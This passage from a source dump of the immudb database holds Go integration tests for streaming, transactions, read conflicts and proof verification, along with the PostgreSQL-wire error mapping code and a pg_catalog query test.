WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "bufio" "bytes" "context" "fmt" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/stream" "github.com/stretchr/testify/require" ) func TestImmuClient_StreamZScan(t *testing.T) { _, client := setupTest(t) kvs := []*stream.KeyValue{} for i := 1; i <= 100; i++ { k := []byte(fmt.Sprintf("key-%d", i)) v := []byte(fmt.Sprintf("val-%d", i)) kv := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(k)), Size: len(k), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(v)), Size: len(v), }, } kvs = append(kvs, kv) } hdr, err := client.StreamSet(context.Background(), kvs) require.NoError(t, err) require.NotNil(t, hdr) set := "StreamZScanTestSet" setBytes := []byte(set) for i := range kvs { require.NoError(t, err) _, err = client.ZAdd( context.Background(), setBytes, float64((i+1)*10), []byte(fmt.Sprintf("key-%d", i+1))) require.NoError(t, err) } zScanResp, err := client.StreamZScan(context.Background(), &schema.ZScanRequest{Set: setBytes, SinceTx: hdr.Id}) require.Len(t, zScanResp.Entries, 100) } func TestImmuClient_StreamHistory(t *testing.T) { _, client := setupTest(t) var hdr *schema.TxHeader var err error k := []byte("StreamHistoryTestKey") for i := 1; i <= 100; i++ { v := []byte(fmt.Sprintf("val-%d", i)) kv := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(k)), Size: len(k), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(v)), Size: len(v), }, } hdr, err = client.StreamSet(context.Background(), []*stream.KeyValue{kv}) require.NoError(t, err) require.NotNil(t, hdr) } historyResp, err := client.StreamHistory(context.Background(), &schema.HistoryRequest{Key: k, SinceTx: hdr.Id}) require.NoError(t, err) require.Len(t, historyResp.Entries, 100) } ================================================ FILE: pkg/integration/tx/transaction_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "context" "fmt" "testing" "github.com/codenotary/immudb/pkg/api/schema" immudb "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/errors" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" ) func setupTest(t *testing.T, maxResultSize int) (*servertest.BufconnServer, immudb.ImmuClient) { options := server.DefaultOptions().WithDir(t.TempDir()) if maxResultSize > 0 { options = options.WithMaxResultSize(maxResultSize) } bs := servertest.NewBufconnServer(options) bs.Start() t.Cleanup(func() { bs.Stop() }) cliOpts := immudb.DefaultOptions().WithDir(t.TempDir()) client, err := bs.NewAuthenticatedClient(cliOpts) require.NoError(t, err) t.Cleanup(func() { client.CloseSession(context.Background()) }) return bs, client } func TestTransaction_SetAndGet(t *testing.T) { _, client := setupTest(t, -1) // tx mode tx, err := client.NewTx(context.Background(), immudb.UnsafeMVCC(), immudb.SnapshotMustIncludeTxID(0), immudb.SnapshotRenewalPeriod(0)) require.NoError(t, err) err = tx.SQLExec(context.Background(), `CREATE TABLE table1( id INTEGER, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id );`, nil) require.NoError(t, err) txH, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, txH) tx, err = client.NewTx(context.Background(), immudb.UnsafeMVCC(), immudb.SnapshotMustIncludeTxID(0), immudb.SnapshotRenewalPeriod(0)) require.NoError(t, err) params := make(map[string]interface{}) params["id"] = 1 params["title"] = "title1" params["active"] = true params["payload"] = []byte{1, 2, 3} err = tx.SQLExec(context.Background(), "INSERT INTO table1(id, title, active, payload) VALUES (@id, @title, @active, @payload), (2, 'title2', false, NULL), (3, NULL, NULL, x'AED0393F')", params) require.NoError(t, err) res, err := tx.SQLQuery(context.Background(), "SELECT t.id as id, title FROM table1 t WHERE id <= 3 AND active = @active", params) require.NoError(t, err) require.NotNil(t, res) txH, err = tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, txH) err = client.CloseSession(context.Background()) require.NoError(t, err) } func TestTransaction_SQLReader(t *testing.T) { _, client := setupTest(t, 2) _, err := client.SQLExec(context.Background(), `CREATE TABLE table1( id INTEGER, title VARCHAR[100], PRIMARY KEY id );`, nil) require.NoError(t, err) for i := 0; i < 10; i++ { params := map[string]interface{}{ "id": i + 1, "title": fmt.Sprintf("title%d", i), } _, err := client.SQLExec(context.Background(), "INSERT INTO table1(id, title) VALUES (@id, @title)", params) require.NoError(t, err) } tx, err := client.NewTx(context.Background()) require.NoError(t, err) defer tx.Rollback(context.Background()) _, err = tx.SQLQuery(context.Background(), "SELECT id, title FROM table1", nil) require.ErrorContains(t, err, database.ErrResultSizeLimitReached.Error()) reader, err := tx.SQLQueryReader(context.Background(), "SELECT id, title FROM table1", nil) require.NoError(t, err) n := 0 for reader.Next() { row, err := reader.Read() require.NoError(t, err) require.Len(t, row, 2) require.Equal(t, int64(n+1), row[0]) require.Equal(t, fmt.Sprintf("title%d", n), row[1]) n++ } require.Equal(t, 10, n) } func TestTransaction_Rollback(t *testing.T) { _, client := setupTest(t, -1) _, err := client.SQLExec(context.Background(), "CREATE DATABASE db1;", nil) require.NoError(t, err) _, err = client.SQLExec(context.Background(), "USE db1;", nil) require.NoError(t, err) res, err := client.SQLQuery(context.Background(), "SELECT * FROM databases();", nil, true) require.NoError(t, err) require.NotNil(t, res) require.Len(t, res.Rows, 2) require.Equal(t, "defaultdb", res.Rows[0].Values[0].GetS()) require.Equal(t, "db1", res.Rows[1].Values[0].GetS()) tx, err := client.NewTx(context.Background()) require.NoError(t, err) err = tx.SQLExec(context.Background(), `CREATE TABLE table1( id INTEGER, PRIMARY KEY id );`, nil) require.NoError(t, err) err = tx.Rollback(context.Background()) require.NoError(t, err) err = tx.Rollback(context.Background()) require.ErrorContains(t, err, "no transaction found") tx1, err := client.NewTx(context.Background()) require.NoError(t, err) res, err = tx1.SQLQuery(context.Background(), "SELECT * FROM table1", nil) require.ErrorContains(t, err, "table does not exist (table1)") require.Nil(t, res) err = client.CloseSession(context.Background()) require.NoError(t, err) } func TestTransaction_MultipleReadWriteTransactions(t *testing.T) { _, client := setupTest(t, -1) tx1, err := client.NewTx(context.Background()) require.NoError(t, err) tx2, err := client.NewTx(context.Background()) require.NoError(t, err) _, err = tx1.Commit(context.Background()) require.NoError(t, err) _, err = tx2.Commit(context.Background()) require.NoError(t, err) } func TestTransaction_ChangingDBOnSessionNoError(t *testing.T) { bs, client := setupTest(t, -1) txDefaultDB, err := client.NewTx(context.Background()) require.NoError(t, err) err = txDefaultDB.SQLExec(context.Background(), `CREATE TABLE tableDefaultDB(id INTEGER,PRIMARY KEY id);`, nil) require.NoError(t, err) client2, err := bs.NewAuthenticatedClient(immudb.DefaultOptions().WithDir(t.TempDir())) require.NoError(t, err) err = client2.CreateDatabase(context.Background(), &schema.DatabaseSettings{DatabaseName: "db2"}) require.NoError(t, err) _, err = client2.UseDatabase(context.Background(), &schema.Database{DatabaseName: "db2"}) require.NoError(t, err) txDb2, err := client2.NewTx(context.Background()) require.NoError(t, err) err = txDb2.SQLExec(context.Background(), `CREATE TABLE tableDB2(id INTEGER,PRIMARY KEY id);`, nil) require.NoError(t, err) err = txDb2.SQLExec(context.Background(), "INSERT INTO tableDB2(id) VALUES (1)", nil) require.NoError(t, err) txh1, err := txDefaultDB.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, txh1.Header.Ts) txh2, err := txDb2.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, txh2.Header.Ts) _, err = client.UseDatabase(context.Background(), &schema.Database{DatabaseName: "db2"}) require.NoError(t, err) ris, err := client.SQLQuery(context.Background(), `SELECT * FROM tableDB2;`, nil, true) require.NoError(t, err) require.Equal(t, 1, len(ris.Rows)) err = client.CloseSession(context.Background()) require.NoError(t, err) err = client2.CloseSession(context.Background()) require.NoError(t, err) } func TestTransaction_MultiNoErr(t *testing.T) { _, client := setupTest(t, -1) ctx := context.Background() tx, err := client.NewTx(ctx) require.NoError(t, err) err = tx.SQLExec(ctx, ` CREATE TABLE IF NOT EXISTS balance( id INTEGER, balance INTEGER, PRIMARY KEY(id) ) `, nil) require.NoError(t, err) err = tx.SQLExec(ctx, ` UPSERT INTO balance(id, balance) VALUES(1,100),(2,1500) `, nil) require.NoError(t, err) _, err = tx.Commit(ctx) require.NoError(t, err) tx, err = client.NewTx(ctx) require.NoError(t, err) qr, err := tx.SQLQuery(ctx, "SELECT balance FROM balance WHERE id = 1", nil) require.NoError(t, err) require.EqualValues(t, 100, qr.Rows[0].Values[0].GetN()) qr, err = client.SQLQuery(ctx, "SELECT balance FROM balance WHERE id = 1", nil, true) require.NoError(t, err) require.EqualValues(t, 100, qr.Rows[0].Values[0].GetN()) updateStmt := func(id, price int) (context.Context, string, map[string]interface{}) { return ctx, "UPDATE balance SET balance = balance - @price WHERE id = @id AND balance - @price >= 0", map[string]interface{}{ "id": id, "price": price, } } res, err := client.SQLExec(updateStmt(1, 10)) require.NoError(t, err) require.EqualValues(t, res.Txs[0].UpdatedRows, 1) qr, err = tx.SQLQuery(ctx, "SELECT balance FROM balance WHERE id = 1", nil) require.NoError(t, err) require.EqualValues(t, 100, qr.Rows[0].Values[0].GetN()) qr, err = client.SQLQuery(ctx, "SELECT balance FROM balance WHERE id = 1", nil, true) require.NoError(t, err) require.EqualValues(t, 90, qr.Rows[0].Values[0].GetN()) err = tx.SQLExec(updateStmt(1, 10)) require.NoError(t, err) _, err = tx.Commit(ctx) require.EqualError(t, err, "tx read conflict") require.Equal(t, err.(errors.ImmuError).Code(), errors.CodInFailedSqlTransaction) txn, err := client.NewTx(ctx) require.NoError(t, err) _, err = txn.SQLQuery(ctx, "SELECT balance FROM balance WHERE id = 1", nil) require.NoError(t, err) err = txn.Rollback(ctx) require.NoError(t, err) err = client.CloseSession(ctx) require.NoError(t, err) _, err = client.NewTx(ctx) require.ErrorIs(t, err, immudb.ErrNotConnected) } func TestTransaction_HandlingReadConflict(t *testing.T) { _, client := setupTest(t, -1) ctx := context.Background() tx, err := client.NewTx(ctx) require.NoError(t, err) err = tx.SQLExec(ctx, ` CREATE TABLE IF NOT EXISTS balance( id INTEGER, balance INTEGER, PRIMARY KEY(id) ) `, nil) require.NoError(t, err) err = tx.SQLExec(ctx, ` UPSERT INTO balance(id, balance) VALUES(1,100),(2,1500) `, nil) require.NoError(t, err) _, err = tx.Commit(ctx) require.NoError(t, err) tx, err = client.NewTx(ctx) require.NoError(t, err) qr, err := tx.SQLQuery(ctx, "SELECT balance FROM balance WHERE id = 1", nil) require.NoError(t, err) require.EqualValues(t, 100, qr.Rows[0].Values[0].GetN()) qr, err = client.SQLQuery(ctx, "SELECT balance FROM balance WHERE id = 1", nil, true) require.NoError(t, err) require.EqualValues(t, 100, qr.Rows[0].Values[0].GetN()) updateStmt := func(id, price int) (context.Context, string, map[string]interface{}) { return ctx, "UPDATE balance SET balance = balance - @price WHERE id = @id AND balance - @price >= 0", map[string]interface{}{ "id": id, "price": price, } } res, err := client.SQLExec(updateStmt(1, 10)) require.NoError(t, err) require.EqualValues(t, res.Txs[0].UpdatedRows, 1) qr, err = tx.SQLQuery(ctx, "SELECT balance FROM balance WHERE id = 1", nil) require.NoError(t, err) require.EqualValues(t, 100, qr.Rows[0].Values[0].GetN()) qr, err = client.SQLQuery(ctx, "SELECT balance FROM balance WHERE id = 1", nil, true) require.NoError(t, err) require.EqualValues(t, 90, qr.Rows[0].Values[0].GetN()) err = tx.SQLExec(updateStmt(1, 10)) require.NoError(t, err) _, err = tx.Commit(ctx) require.EqualError(t, err, "tx read conflict") err = client.CloseSession(ctx) require.NoError(t, err) } ================================================ FILE: pkg/integration/tx/tx_entries_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "context" "crypto/sha256" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func Test_GetTransactionEntries(t *testing.T) { _, client := setupTest(t, -1) hdr, err := client.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte("key1"), Value: []byte("value1"), }, }, }, { Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte("ref1"), ReferencedKey: []byte("key1"), }, }, }, { Operation: &schema.Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte("set1"), Score: 10, Key: []byte("key1"), }, }, }, }, }) require.NoError(t, err) t.Run("all entries should be resolved", func(t *testing.T) { tx, err := client.TxByIDWithSpec(context.Background(), &schema.TxRequest{ Tx: hdr.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{ Action: schema.EntryTypeAction_RESOLVE, }, ZEntriesSpec: &schema.EntryTypeSpec{ Action: schema.EntryTypeAction_RESOLVE, }, }, }) require.NoError(t, err) require.Empty(t, tx.Entries) require.Len(t, tx.KvEntries, 2) require.Len(t, tx.ZEntries, 1) require.Equal(t, []byte("key1"), tx.KvEntries[0].Key) require.Equal(t, []byte("value1"), tx.KvEntries[0].Value) require.Equal(t, []byte("key1"), tx.KvEntries[1].Key) require.Equal(t, []byte("value1"), tx.KvEntries[1].Value) require.NotNil(t, tx.KvEntries[1].ReferencedBy) require.Equal(t, []byte("ref1"), tx.KvEntries[1].ReferencedBy.Key) require.Equal(t, []byte("set1"), tx.ZEntries[0].Set) require.Equal(t, []byte("key1"), tx.ZEntries[0].Key) require.Equal(t, float64(10), tx.ZEntries[0].Score) }) t.Run("only resolved kv entries should be returned", func(t *testing.T) { tx, err := client.TxByIDWithSpec(context.Background(), &schema.TxRequest{ Tx: hdr.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{ Action: schema.EntryTypeAction_RESOLVE, }, ZEntriesSpec: &schema.EntryTypeSpec{ Action: schema.EntryTypeAction_EXCLUDE, }, }, }) require.NoError(t, err) require.Empty(t, tx.Entries) require.Len(t, tx.KvEntries, 2) require.Empty(t, tx.ZEntries) require.Equal(t, []byte("key1"), tx.KvEntries[0].Key) require.Equal(t, []byte("value1"), tx.KvEntries[0].Value) require.Equal(t, []byte("key1"), tx.KvEntries[1].Key) require.Equal(t, []byte("value1"), tx.KvEntries[1].Value) require.NotNil(t, tx.KvEntries[1].ReferencedBy) require.Equal(t, []byte("ref1"), tx.KvEntries[1].ReferencedBy.Key) }) t.Run("only resolved zentries should be returned", func(t *testing.T) { tx, err := client.TxByIDWithSpec(context.Background(), &schema.TxRequest{ Tx: hdr.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{ Action: schema.EntryTypeAction_EXCLUDE, }, ZEntriesSpec: &schema.EntryTypeSpec{ Action: schema.EntryTypeAction_RESOLVE, }, }, }) require.NoError(t, err) require.Empty(t, tx.Entries) require.Empty(t, tx.KvEntries) require.Len(t, tx.ZEntries, 1) require.Equal(t, []byte("set1"), tx.ZEntries[0].Set) require.Equal(t, []byte("key1"), tx.ZEntries[0].Key) require.Equal(t, float64(10), tx.ZEntries[0].Score) }) t.Run("all entries should be excluded", func(t *testing.T) { tx, err := client.TxByIDWithSpec(context.Background(), &schema.TxRequest{ Tx: hdr.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{ Action: schema.EntryTypeAction_EXCLUDE, }, ZEntriesSpec: &schema.EntryTypeSpec{ Action: schema.EntryTypeAction_EXCLUDE, }, }, }) require.NoError(t, err) require.Empty(t, tx.Entries) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) }) t.Run("all entries should be unresolved if no spec is provided", func(t *testing.T) { tx, err := client.TxByIDWithSpec(context.Background(), &schema.TxRequest{Tx: hdr.Id}) require.NoError(t, err) require.Len(t, tx.Entries, 3) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) }) t.Run("no entries should be returned if an empty spec is provided", func(t *testing.T) { tx, err := client.TxByIDWithSpec(context.Background(), &schema.TxRequest{ Tx: hdr.Id, EntriesSpec: &schema.EntriesSpec{}, }) require.NoError(t, err) require.Empty(t, tx.KvEntries) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) }) t.Run("all kv entries should be unresolved but including the raw value", func(t *testing.T) { tx, err := client.TxByIDWithSpec(context.Background(), &schema.TxRequest{ Tx: hdr.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{ Action: schema.EntryTypeAction_RAW_VALUE, }, ZEntriesSpec: &schema.EntryTypeSpec{ Action: schema.EntryTypeAction_EXCLUDE, }, }, }) require.NoError(t, err) require.Len(t, tx.Entries, 2) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) for _, e := range tx.Entries { require.Equal(t, int(e.VLen), len(e.Value)) hval := sha256.Sum256(e.Value) require.Equal(t, e.HValue, hval[:]) } }) err = client.CloseSession(context.Background()) require.NoError(t, err) } ================================================ FILE: pkg/integration/verification_long_linear_proof_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "context" "path/filepath" "sync" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/state" "github.com/codenotary/immudb/pkg/fs" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/protobuf/types/known/emptypb" ) type stateServiceMock struct { cl sync.Mutex m sync.RWMutex state *schema.ImmutableState stateHistory map[uint64]*schema.ImmutableState } var _ state.StateService = (*stateServiceMock)(nil) func newServiceStateMock() *stateServiceMock { return &stateServiceMock{ state: &schema.ImmutableState{TxId: 0}, stateHistory: make(map[uint64]*schema.ImmutableState), } } func (ssm *stateServiceMock) GetState(ctx context.Context, db string) (*schema.ImmutableState, error) { ssm.m.RLock() defer ssm.m.RUnlock() return ssm.state, nil } func (ssm *stateServiceMock) SetState(db string, state *schema.ImmutableState) error { ssm.m.Lock() defer ssm.m.Unlock() ssm.state = state ssm.stateHistory[state.TxId] = state return nil } func (ssm *stateServiceMock) CacheLock() error { ssm.cl.Lock() return nil } func (ssm *stateServiceMock) CacheUnlock() error { ssm.cl.Unlock() return nil } func (ssm *stateServiceMock) SetServerIdentity(identity string) {} type clientProxyRemovingLinearAdvanceProof struct { schema.ImmuServiceClient } func (mock *clientProxyRemovingLinearAdvanceProof) VerifiableTxById( ctx context.Context, in *schema.VerifiableTxRequest, opts ...grpc.CallOption, ) ( *schema.VerifiableTx, error, ) { ret, err := mock.ImmuServiceClient.VerifiableTxById(ctx, in) if ret != nil && ret.DualProof != nil { // Cleanup the linear advance proof so that it gets regenerated ret.DualProof.LinearAdvanceProof = nil } return ret, err } func TestLongLinearProofVerification(t *testing.T) { // Start the server with transaction data containing long linear proof dir := t.TempDir() copier := fs.NewStandardCopier() require.NoError(t, copier.CopyDir("../../test/data_long_linear_proof", filepath.Join(dir, "defaultdb"))) options := server.DefaultOptions().WithDir(dir) bs := servertest.NewBufconnServer(options) err := bs.Start() require.NoError(t, err) defer bs.Stop() cl, err := bs.NewAuthenticatedClient(client.DefaultOptions().WithDir(t.TempDir())) require.NoError(t, err) defer cl.CloseSession(context.Background()) // Inject our custom state service to have insight into the state values ssm := newServiceStateMock() cl.WithStateService(ssm) const txCount = 30 t.Run("verify server data", func(t *testing.T) { sc := cl.GetServiceClient() st, err := sc.CurrentState(context.Background(), &emptypb.Empty{}) require.NoError(t, err) require.EqualValues(t, txCount, st.TxId) t.Run("transactions 1-10 do not use linear proof longer than 1", func(t *testing.T) { for txID := uint64(1); txID <= 10; txID++ { tx, err := sc.TxById(context.Background(), &schema.TxRequest{ Tx: txID, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE}, }, }) require.NoError(t, err) require.Equal(t, txID-1, tx.Header.BlTxId) } }) t.Run("transactions 11-20 use long linear proof", func(t *testing.T) { for txID := uint64(11); txID <= 20; txID++ { tx, err := sc.TxById(context.Background(), &schema.TxRequest{ Tx: txID, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE}, }, }) require.NoError(t, err) require.EqualValues(t, 10, tx.Header.BlTxId) } }) t.Run("transactions 21-30 do not use linear proof longer than 1", func(t *testing.T) { for txID := uint64(21); txID <= txCount; txID++ { tx, err := sc.TxById(context.Background(), &schema.TxRequest{ Tx: txID, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE}, }, }) require.NoError(t, err) require.Equal(t, txID-1, tx.Header.BlTxId) } }) }) t.Run("get all transaction states", func(t *testing.T) { for txID := uint64(1); txID <= txCount; txID++ { _, err = cl.VerifiedTxByID(context.Background(), txID) require.NoError(t, err) require.Contains(t, ssm.stateHistory, txID) } require.Len(t, ssm.stateHistory, txCount) }) t.Run("Exhaustive consistency proof", func(t *testing.T) { t.Run("server-generated linear advance proof", func(t *testing.T) { for i := uint64(1); i <= txCount; i++ { for j := i; j <= txCount; j++ { ssm.state = ssm.stateHistory[i] _, err = cl.VerifiedTxByID(context.Background(), j) require.NoError(t, err) require.EqualValues(t, j, ssm.state.TxId) } } }) t.Run("client-reconstructed linear advance proof", func(t *testing.T) { scl := cl.GetServiceClient() // Mock service client that removes linear advance proofs // that will mimic the behavior of older servers cl.WithServiceClient(&clientProxyRemovingLinearAdvanceProof{ImmuServiceClient: scl}) for i := uint64(1); i <= txCount; i++ { for j := i + 5; j <= txCount; j++ { ssm.state = ssm.stateHistory[i] _, err = cl.VerifiedTxByID(context.Background(), j) require.NoError(t, err) require.EqualValues(t, j, ssm.state.TxId) } } }) }) } ================================================ FILE: pkg/pgsql/errors/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package errors import ( "errors" "strings" bm "github.com/codenotary/immudb/pkg/pgsql/server/bmessages" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" ) var ErrUnknowMessageType = errors.New("found an unknown message type on the wire") var ErrDBNotprovided = errors.New("database name not provided") var ErrUsernameNotprovided = errors.New("user name not provided") var ErrPwNotprovided = errors.New("password not provided") var ErrDBNotExists = errors.New("selected db doesn't exists") var ErrInvalidUsernameOrPassword = errors.New("invalid user name or password") var ErrExpectedQueryMessage = errors.New("expected query message") var ErrUseDBStatementNotSupported = errors.New("SQL statement not supported") var ErrSSLNotSupported = errors.New("SSL not supported") var ErrMaxStmtNumberExceeded = errors.New("maximum number of statements in a single query exceeded") var ErrMessageCannotBeHandledInternally = errors.New("message cannot be handled internally") var ErrMaxParamsNumberExceeded = errors.New("number of parameters exceeded the maximum limit") var ErrParametersValueSizeTooLarge = errors.New("provided parameters exceeded the maximum allowed size limit") var ErrNegativeParameterValueLen = errors.New("negative parameter length detected") var ErrMalformedMessage = errors.New("malformed message detected") var ErrMessageTooLarge = errors.New("payload message hit allowed memory boundaries") func MapPgError(err error) (er bm.ErrorResp) { switch { case errors.Is(err, ErrDBNotprovided): er = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError), bm.Code(pgmeta.PgServerErrRejectedEstablishmentOfSqlconnection), bm.Message(ErrDBNotprovided.Error()), bm.Hint("please provide a valid database name or use immuclient to create a new one"), ) case errors.Is(err, ErrDBNotExists): er = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError), bm.Code(pgmeta.PgServerErrRejectedEstablishmentOfSqlconnection), bm.Message(ErrDBNotExists.Error()), bm.Hint("please provide a valid database name or use immuclient to create a new one"), ) case strings.Contains(err.Error(), "syntax error"): er = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError), bm.Code(pgmeta.PgServerErrSyntaxError), bm.Message(err.Error()), ) case strings.Contains(err.Error(), ErrUnknowMessageType.Error()): er = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError), bm.Code(pgmeta.PgServerErrProtocolViolation), bm.Message(err.Error()), bm.Hint("submitted message is not yet implemented"), ) case errors.Is(err, ErrSSLNotSupported): er = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError), bm.Code(pgmeta.PgServerErrConnectionFailure), bm.Message(err.Error()), bm.Hint("launch immudb with a certificate and a private key"), ) case errors.Is(err, ErrMaxStmtNumberExceeded): er = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError), bm.Code(pgmeta.PgServerErrSyntaxError), bm.Message(err.Error()), bm.Hint("at the moment is possible to receive only 1 statement. Please split query or use a single statement"), ) case errors.Is(err, ErrParametersValueSizeTooLarge): er = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError), bm.Code(pgmeta.DataException), bm.Message(err.Error()), ) case errors.Is(err, ErrNegativeParameterValueLen): er = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError), bm.Code(pgmeta.DataException), bm.Message(err.Error()), ) case errors.Is(err, ErrMalformedMessage): er = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError), bm.Code(pgmeta.PgServerErrProtocolViolation), bm.Message(err.Error()), ) default: er = bm.ErrorResponse(bm.Severity(pgmeta.PgSeverityError), bm.Message(err.Error()), ) } return er } ================================================ FILE: pkg/pgsql/errors/errors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package errors import ( "testing" "github.com/stretchr/testify/require" ) func TestMapPgError(t *testing.T) { err := ErrUnknowMessageType be := MapPgError(err) require.NotNil(t, be) err = ErrMaxStmtNumberExceeded be = MapPgError(err) require.NotNil(t, be) require.NotNil(t, be) err = ErrParametersValueSizeTooLarge be = MapPgError(err) require.NotNil(t, be) err = ErrNegativeParameterValueLen be = MapPgError(err) require.NotNil(t, be) err = ErrMalformedMessage be = MapPgError(err) require.NotNil(t, be) } ================================================ FILE: pkg/pgsql/pgschema/resolvers_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package pgschema import ( "context" "fmt" "testing" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/stretchr/testify/require" ) func setupEngine(t *testing.T, multiDBHandler sql.MultiDBHandler) *sql.Engine { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) t.Cleanup(func() { st.Close() }) opts := sql.DefaultOptions(). WithTableResolvers(PgCatalogResolvers()...) if multiDBHandler != nil { opts = opts.WithMultiDBHandler(multiDBHandler) } engine, err := sql.NewEngine(st, opts) require.NoError(t, err) return engine } func TestQueryPgCatalogTables(t *testing.T) { engine := setupEngine(t, &mockMultiDBHandler{ users: []sql.User{ &user{username: "immudb", perm: sql.PermissionSysAdmin}, }, }) _, _, err := engine.Exec(context.Background(), nil, `CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)`, nil) require.NoError(t, err) res, err := engine.Query( context.Background(), nil, `SELECT n.nspname as "Schema", c.relname as "Name", CASE c.relkind WHEN 'r' THEN 'table' WHEN 'v' THEN 'view' WHEN 'm' THEN 'materialized view' WHEN 'i' THEN 'index' WHEN 'S' THEN 'sequence' WHEN 't' THEN 'TOAST table' WHEN 'f' THEN 'foreign table' WHEN 'p' THEN 'partitioned table' WHEN 'I' THEN 'partitioned index' END as "Type", pg_get_userbyid(c.relowner) as "Owner" FROM pg_class c LEFT JOIN pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','p','') AND n.nspname <> 'pg_catalog' AND n.nspname !~ '^pg_toast' AND n.nspname <> 'information_schema' AND pg_table_is_visible(c.oid) ORDER BY 1,2;`, nil, ) require.NoError(t, 